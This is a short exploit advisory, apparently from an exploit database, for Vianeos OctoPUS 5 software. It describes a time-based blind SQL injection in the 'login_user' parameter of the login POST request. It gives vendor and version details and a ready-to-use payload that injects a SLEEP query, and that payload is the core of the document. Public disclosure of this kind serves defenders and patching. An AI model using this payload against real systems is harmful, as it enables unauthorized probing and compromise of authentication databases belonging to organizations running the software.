Vianeos OctoPUS 5 SQL Injection

`# Exploit Title: Vianeos OctoPUS 5 - 'login_user' SQLi  
# Date: 01/07/2021  
# Exploit Author: Audencia Business SCHOOL  
# Vendor Homepage: http://www.vianeos.com/en/home-vianeos/  
# Software Link: http://www.vianeos.com/en/octopus/  
# Version: > V5  
# Tested on: Fedora / Apache2 / MariaDB  
  
  
Octopus V5 SQLi  
  
The "login_user =" parameter present in the POST authentication request is vulnerable to an Time Based SQLi as follow :  
  
```  
Parameter: login_user (POST)  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: signin_user=1&login_user=1' AND (SELECT 8860 FROM (SELECT(SLEEP(5)))xENj) AND 'OoKG'='OoKG&password_user=1  
```  
`